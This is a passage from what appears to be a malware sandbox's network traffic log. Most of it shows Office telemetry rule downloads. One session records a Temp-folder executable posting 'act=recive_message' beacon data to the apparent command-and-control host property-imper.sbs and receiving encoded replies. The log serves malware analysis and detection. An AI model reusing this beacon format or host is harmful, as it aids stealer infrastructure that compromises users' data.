ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2469&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1169871&cwnd=67&unsent_bytes=0&cid=e9208a1e37f77326&ts=829&x=0"
2024-11-23 17:22:38 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 17:22:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:38 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 02a30eba-b01e-0001-5b7b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172239Z-178bfbc474bmqmgjhC1NYCy16c00000004s000000000gk94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:39 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172239Z-15b8b599d885ffrhhC1TEBtuv0000000039000000000bx98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:39 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: f000c210-c01e-008d-4155-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172239Z-15b8b599d88tr2flhC1TEB5gk400000003d0000000005uft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:39 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:39 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172239Z-178bfbc474bpnd5vhC1NYC4vr400000004vg0000000021dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:39 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 4c5d161e-101e-007a-1f97-3d047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172239Z-15b8b599d88m7pn7hC1TEB4axw000000036000000000hsyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 17:22:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49840	172.67.162.84	443	4428	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:39 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 17:22:39 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 17:22:40 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=abnpgj9h3d0s6i5vk29633ru66; expires=Wed, 19-Mar-2025 11:09:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ANpE9wsMAkJ8U2DsimYj7yxDlDb7Djq0QJz%2Fg3Keaj8UExRIyOmgBOHl4CifDQo6G8gmTgAq%2FqsNmBkGthbP7RVPlrHFcsfGEEP7AR874iW3uv5d%2FeCwEqgiIMYGL0inWxnsB%2Bc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7b7e99443a5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2188&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1289752&cwnd=32&unsent_bytes=0&cid=8636cb75db2d90f7&ts=748&x=0"
2024-11-23 17:22:40 UTC	355	IN	Data Raw: 34 64 38 0d 0a 48 5a 78 79 43 68 65 6c 45 62 49 71 36 38 72 77 32 63 53 4a 67 78 4e 6e 39 49 6d 34 4d 32 63 38 39 7a 35 70 59 2b 35 4a 74 39 42 6d 76 67 51 6f 4c 5a 45 39 6b 46 6d 4f 36 4d 71 74 74 76 7a 6d 50 30 57 56 37 5a 6f 4a 41 56 32 62 54 51 78 50 7a 44 2f 61 38 69 66 36 45 32 5a 6b 77 44 32 51 54 35 50 6f 79 6f 4b 2f 71 2b 5a 39 52 63 36 72 33 56 6b 46 58 5a 74 63 43 41 69 42 4f 64 75 7a 64 66 41 56 59 6e 4c 47 64 64 4e 47 68 71 2b 56 76 4b 58 6a 37 58 6f 4b 6e 4f 53 61 48 30 56 5a 6a 52 78 54 51 61 4d 73 77 37 46 51 2f 51 46 68 4e 64 67 39 79 51 69 4f 70 4e 4c 6a 35 75 6a 6d 63 51 75 53 37 64 4e 62 44 31 53 54 58 51 30 4a 6e 69 44 52 75 48 58 2b 46 6d 4e 34 7a 32 48 65 54 49 47 6b 6b 37 61 6c 71 36 38 78 41 6f 36 72 67 68 46 57 62 4a 5a 4e 47 68 Data Ascii: 4d8HZxyChelEbIq68rw2cSJgxNn9Im4M2c89z5pY+5Jt9BmvgQoLZE9kFmO6MqttvzmP0WV7ZoJAV2bTQxPzD/a8if6E2ZkwD2QT5PoyoK/q+Z9Rc6r3VkFXZtcCAiBOduzdfAVYnLGddNGhq+VvKXj7XoKnOSaH0VZjRxTQaMsw7FQ/QFhNdg9yQiOpNLj5ujmcQuS7dNbD1STXQ0JniDRuHX+FmN4z2HeTIGkk7alq68xAo6rghFWbJZNGh
2024-11-23 17:22:40 UTC	892	IN	Data Raw: 50 43 51 49 4b 6a 6c 36 6d 74 34 75 78 38 42 5a 76 68 31 56 49 46 57 5a 39 57 42 41 75 49 4a 74 69 30 66 2f 35 51 4a 6a 58 41 61 35 41 51 79 59 75 58 71 36 48 6e 39 7a 4d 2f 31 76 53 55 53 45 56 5a 6d 52 78 54 51 59 51 75 31 72 46 30 38 52 4e 67 66 74 56 7a 77 6b 36 45 72 59 43 39 6f 2b 58 72 63 68 65 63 35 64 78 53 44 46 57 63 57 51 77 46 7a 47 57 56 74 57 65 2b 53 43 68 55 79 6e 6a 63 51 70 36 6f 30 71 54 6f 38 71 46 32 43 64 61 7a 6d 6c 55 45 57 70 52 59 42 51 2b 49 4a 39 4f 38 63 76 45 57 59 6e 58 41 65 64 68 41 69 4b 57 5a 74 4b 62 75 37 48 55 44 6d 75 72 66 45 55 73 65 6b 6b 52 4c 57 63 77 46 30 72 46 74 76 43 56 72 65 38 6c 30 78 67 69 57 35 6f 76 37 6f 65 65 68 4b 55 57 59 37 74 56 44 42 45 79 51 55 68 6b 4e 69 53 33 59 73 58 48 2b 46 57 39 34 79 Data Ascii: PCQIKjl6mt4ux8BZvh1VIFWZ9WBAuIJti0f/5QJjXAa5AQyYuXq6Hn9zM/1vSUSEVZmRxTQYQu1rF08RNgftVzwk6ErYC9o+Xrchec5dxSDFWcWQwFzGWVtWe+SChUynjcQp6o0qTo8qF2CdazmlUEWpRYBQ+IJ9O8cvEWYnXAedhAiKWZtKbu7HUDmurfEUsekkRLWcwF0rFtvCVre8l0xgiW5ov7oeehKUWY7tVDBEyQUhkNiS3YsXH+FW94y
2024-11-23 17:22:40 UTC	1369	IN	Data Raw: 33 66 39 34 0d 0a 45 32 78 78 79 6e 7a 5a 51 59 43 36 6d 4c 65 6f 2b 65 78 37 41 4a 6a 6e 33 31 34 46 58 35 52 53 41 51 72 4d 5a 5a 57 31 5a 37 35 49 4b 46 72 4b 59 38 4a 43 67 72 6e 51 6a 71 58 6c 37 33 59 54 31 76 53 55 53 45 56 5a 6d 52 78 54 51 59 63 74 32 62 35 2f 2b 41 4a 6d 65 74 56 35 77 6b 79 48 72 4a 36 31 72 2b 62 75 64 42 65 53 36 38 68 51 41 46 6d 62 55 52 6b 45 7a 47 57 56 74 57 65 2b 53 43 68 50 38 33 54 41 57 59 37 71 70 37 69 6f 35 65 5a 6e 52 59 6d 6c 77 78 45 43 55 74 55 45 53 77 4b 41 4a 74 79 33 63 4f 77 61 5a 48 54 56 64 4e 6c 42 67 36 6d 63 74 4b 33 6e 35 47 4d 4f 6d 65 50 56 55 41 68 54 6e 6c 67 4c 51 63 4a 72 30 71 6f 2f 70 6c 42 4a 65 4d 68 68 30 31 6e 4c 6e 5a 47 31 71 4f 7a 33 4d 52 72 59 38 70 70 57 43 52 37 4e 48 41 6f 4e 67 Data Ascii: 3f94E2xxynzZQYC6mLeo+ex7AJjn314FX5RSAQrMZZW1Z75IKFrKY8JCgrnQjqXl73YT1vSUSEVZmRxTQYct2b5/+AJmetV5wkyHrJ61r+budBeS68hQAFmbURkEzGWVtWe+SChP83TAWY7qp7io5eZnRYmlwxECUtUESwKAJty3cOwaZHTVdNlBg6mctK3n5GMOmePVUAhTnlgLQcJr0qo/plBJeMhh01nLnZG1qOz3MRrY8ppWCR7NHAoNg
2024-11-23 17:22:40 UTC	1369	IN	Data Raw: 7a 39 52 64 6a 66 73 4e 33 30 45 57 43 70 70 79 79 71 75 50 74 64 68 65 62 37 74 4a 62 44 46 75 5a 55 51 67 54 6a 79 71 56 2f 44 2f 35 43 43 67 74 68 31 54 6a 66 36 72 6f 6a 66 57 2f 71 2b 5a 39 52 63 36 72 32 31 6b 43 55 4a 46 4f 42 52 4f 43 4c 4e 57 30 64 2f 59 58 5a 48 76 4a 59 64 68 4a 69 61 61 64 73 36 2f 76 34 48 55 42 6d 75 79 61 48 30 56 5a 6a 52 78 54 51 61 51 6f 7a 36 67 39 30 42 74 6f 63 74 64 6c 79 77 69 57 35 6f 76 37 6f 65 65 68 4b 55 57 53 34 4e 42 59 42 6c 65 52 55 51 73 49 67 79 4c 64 76 33 66 73 45 57 4a 6e 77 33 62 52 52 34 4f 73 6d 72 65 70 35 2b 56 6a 44 74 61 6c 6d 6c 59 64 48 73 30 63 4b 77 71 61 43 4d 65 67 50 2b 46 65 63 54 58 41 66 35 41 51 79 61 47 65 75 71 66 68 35 33 6f 41 6d 2b 76 66 57 77 4a 53 6c 56 77 49 42 34 6f 6d 33 62 Data Ascii: z9RdjfsN30EWCppyyquPtdheb7tJbDFuZUQgTjyqV/D/5CCgth1Tjf6rojfW/q+Z9Rc6r21kCUJFOBROCLNW0d/YXZHvJYdhJiaads6/v4HUBmuyaH0VZjRxTQaQoz6g90BtoctdlywiW5ov7oeehKUWS4NBYBleRUQsIgyLdv3fsEWJnw3bRR4Osmrep5+VjDtalmlYdHs0cKwqaCMegP+FecTXAf5AQyaGeuqfh53oAm+vfWwJSlVwIB4om3b
2024-11-23 17:22:40 UTC	1369	IN	Data Raw: 61 48 72 43 65 39 74 4f 68 36 6d 55 74 36 75 72 72 7a 45 43 6a 71 75 43 45 53 4a 45 6d 46 6f 63 45 4c 6b 73 31 65 4d 2f 34 56 35 78 4e 63 42 2f 6b 42 44 4a 70 5a 36 78 71 2b 37 6c 65 51 4b 56 36 74 5a 56 43 46 4f 52 56 51 38 45 6e 6a 6e 54 76 48 2f 78 48 6d 64 35 31 58 33 56 53 49 58 6f 33 50 75 68 38 36 45 70 52 61 66 38 32 68 45 61 45 49 77 63 44 41 33 4d 63 35 57 39 63 75 77 63 5a 33 58 47 63 4e 52 44 6a 71 36 55 75 71 58 75 34 6e 51 44 6c 2b 76 57 57 77 4a 57 6e 31 49 47 42 34 67 74 30 2f 49 78 76 68 64 77 4e 5a 38 7a 34 6b 57 48 6f 5a 47 39 71 2f 33 4a 51 45 57 4a 70 63 4d 52 41 6c 4c 56 42 45 73 46 68 79 50 5a 74 33 66 37 45 57 42 2f 7a 33 7a 66 57 6f 69 6e 6d 37 79 74 35 75 35 2f 41 4a 6a 35 33 56 6f 4f 56 70 78 53 44 55 48 43 61 39 4b 71 50 36 5a Data Ascii: aHrCe9tOh6mUt6urrzECjquCESJEmFocELks1eM/4V5xNcB/kBDJpZ6xq+7leQKV6tZVCFORVQ8EnjnTvH/xHmd51X3VSIXo3Puh86EpRaf82hEaEIwcDA3Mc5W9cuwcZ3XGcNRDjq6UuqXu4nQDl+vWWwJWn1IGB4gt0/IxvhdwNZ8z4kWHoZG9q/3JQEWJpcMRAlLVBEsFhyPZt3f7EWB/z3zfWoinm7yt5u5/AJj53VoOVpxSDUHCa9KqP6Z
2024-11-23 17:22:40 UTC	1369	IN	Data Raw: 48 76 58 51 49 32 6d 67 4c 71 70 71 36 38 78 41 6f 36 72 67 68 45 30 53 4a 4a 62 42 45 4f 6c 4c 4d 36 7a 64 66 30 62 5a 44 58 59 50 63 6b 49 6a 71 54 53 34 2b 62 6d 37 58 77 42 68 4f 66 61 55 51 78 5a 6e 30 34 45 44 6f 45 6f 31 62 64 74 2f 77 4a 6e 66 73 4a 77 31 45 65 47 70 4a 71 78 35 71 57 68 64 68 33 57 73 35 70 39 42 6b 2b 66 48 69 77 62 6d 69 7a 5a 6f 33 54 7a 48 43 68 71 69 57 71 51 54 34 58 6f 79 76 75 6d 36 75 78 6a 41 4a 66 68 30 46 77 4e 55 5a 42 5a 42 41 57 49 49 4e 75 67 63 66 45 51 62 6e 37 47 64 74 4e 44 67 36 61 62 71 65 61 6c 6f 58 59 64 31 72 4f 61 65 78 35 66 6d 46 42 4a 4c 34 63 39 30 76 42 65 38 42 74 76 65 64 45 7a 7a 77 61 51 36 4a 57 33 35 72 4f 68 65 41 75 61 36 4e 31 5a 44 56 75 56 56 77 73 4f 68 69 58 53 6f 48 58 79 47 6e 70 36 Data Ascii: HvXQI2mgLqpq68xAo6rghE0SJJbBEOlLM6zdf0bZDXYPckIjqTS4+bm7XwBhOfaUQxZn04EDoEo1bdt/wJnfsJw1EeGpJqx5qWhdh3Ws5p9Bk+fHiwbmizZo3TzHChqiWqQT4Xoyvum6uxjAJfh0FwNUZBZBAWIINugcfEQbn7GdtNDg6abqealoXYd1rOaex5fmFBJL4c90vBe8BtvedEzzwaQ6JW35rOheAua6N1ZDVuVVwsOhiXSoHXyGnp6
2024-11-23 17:22:40 UTC	1369	IN	Data Raw: 69 57 35 6f 76 37 6f 65 65 68 4b 55 57 57 37 39 5a 53 41 6c 43 61 55 51 51 47 68 79 54 66 76 47 33 78 46 57 42 35 7a 33 37 43 51 6f 4f 36 6d 37 4b 72 35 65 6c 6a 42 74 61 6c 6d 6c 59 64 48 73 30 63 4f 51 75 50 4a 38 4f 2f 63 4c 34 50 4a 6d 79 48 64 4e 77 49 30 65 69 41 71 61 62 67 34 58 59 4c 68 4f 72 53 58 67 39 65 6b 31 63 42 41 6f 55 76 32 37 74 35 2f 78 31 70 64 4d 64 32 30 45 47 62 70 64 4c 31 35 75 7a 35 4d 56 33 57 33 4e 5a 61 4e 46 32 44 48 42 52 50 6c 57 76 53 76 6a 2b 6d 55 47 6c 6e 79 6e 76 55 53 49 53 75 6d 62 71 6e 36 4f 46 78 42 70 62 75 30 56 34 44 57 5a 68 57 41 67 69 65 49 39 47 67 66 2f 49 55 4b 44 75 48 64 4d 67 49 30 65 69 69 75 4b 33 6e 34 58 77 51 31 76 53 55 53 45 56 5a 6d 52 78 54 51 59 51 67 33 72 52 30 2f 52 4e 6d 66 73 31 38 33 Data Ascii: iW5ov7oeehKUWW79ZSAlCaUQQGhyTfvG3xFWB5z37CQoO6m7Kr5eljBtalmlYdHs0cOQuPJ8O/cL4PJmyHdNwI0eiAqabg4XYLhOrSXg9ek1cBAoUv27t5/x1pdMd20EGbpdL15uz5MV3W3NZaNF2DHBRPlWvSvj+mUGlnynvUSISumbqn6OFxBpbu0V4DWZhWAgieI9Ggf/IUKDuHdMgI0eiiuK3n4XwQ1vSUSEVZmRxTQYQg3rR0/RNmfs183
2024-11-23 17:22:40 UTC	1369	IN	Data Raw: 5a 72 61 66 6d 36 6e 31 48 6c 2b 62 4b 56 6b 55 51 31 56 70 4c 57 64 78 6c 6c 62 5a 75 76 6b 67 34 4a 35 77 6d 67 78 2f 5a 2b 6f 33 31 76 36 76 33 4d 56 33 45 70 5a 70 44 52 51 62 56 47 77 67 54 6e 69 33 57 70 48 79 35 4c 6c 5a 56 7a 48 2f 54 52 49 69 76 30 76 58 6d 35 4b 45 70 50 4e 62 6f 79 45 4e 4b 54 34 4e 52 47 77 62 41 49 38 53 2f 63 37 35 65 4b 44 6e 44 65 4e 78 4e 6a 72 6a 64 71 62 62 67 37 57 64 4a 6b 76 6d 61 48 30 56 50 6e 6c 4d 5a 44 34 74 6b 78 4b 52 79 37 68 4e 74 63 6f 74 37 77 55 57 46 36 4e 7a 37 73 2b 44 74 64 77 69 44 70 4d 74 48 42 6b 69 53 45 41 4d 51 67 53 65 56 6a 54 47 2b 43 43 67 74 68 30 62 54 52 6f 65 76 68 4b 72 72 79 2b 70 39 42 70 72 71 33 52 46 4c 48 70 4d 63 55 31 4c 43 61 39 47 6a 50 36 5a 41 4f 69 36 53 49 49 63 59 32 37 Data Ascii: Zrafm6n1Hl+bKVkUQ1VpLWdxllbZuvkg4J5wmgx/Z+o31v6v3MV3EpZpDRQbVGwgTni3WpHy5LlZVzH/TRIiv0vXm5KEpPNboyENKT4NRGwbAI8S/c75eKDnDeNxNjrjdqbbg7WdJkvmaH0VPnlMZD4tkxKRy7hNtcot7wUWF6Nz7s+DtdwiDpMtHBkiSEAMQgSeVjTG+CCgth0bTRoevhKrry+p9Bprq3RFLHpMcU1LCa9GjP6ZAOi6SIIcY27
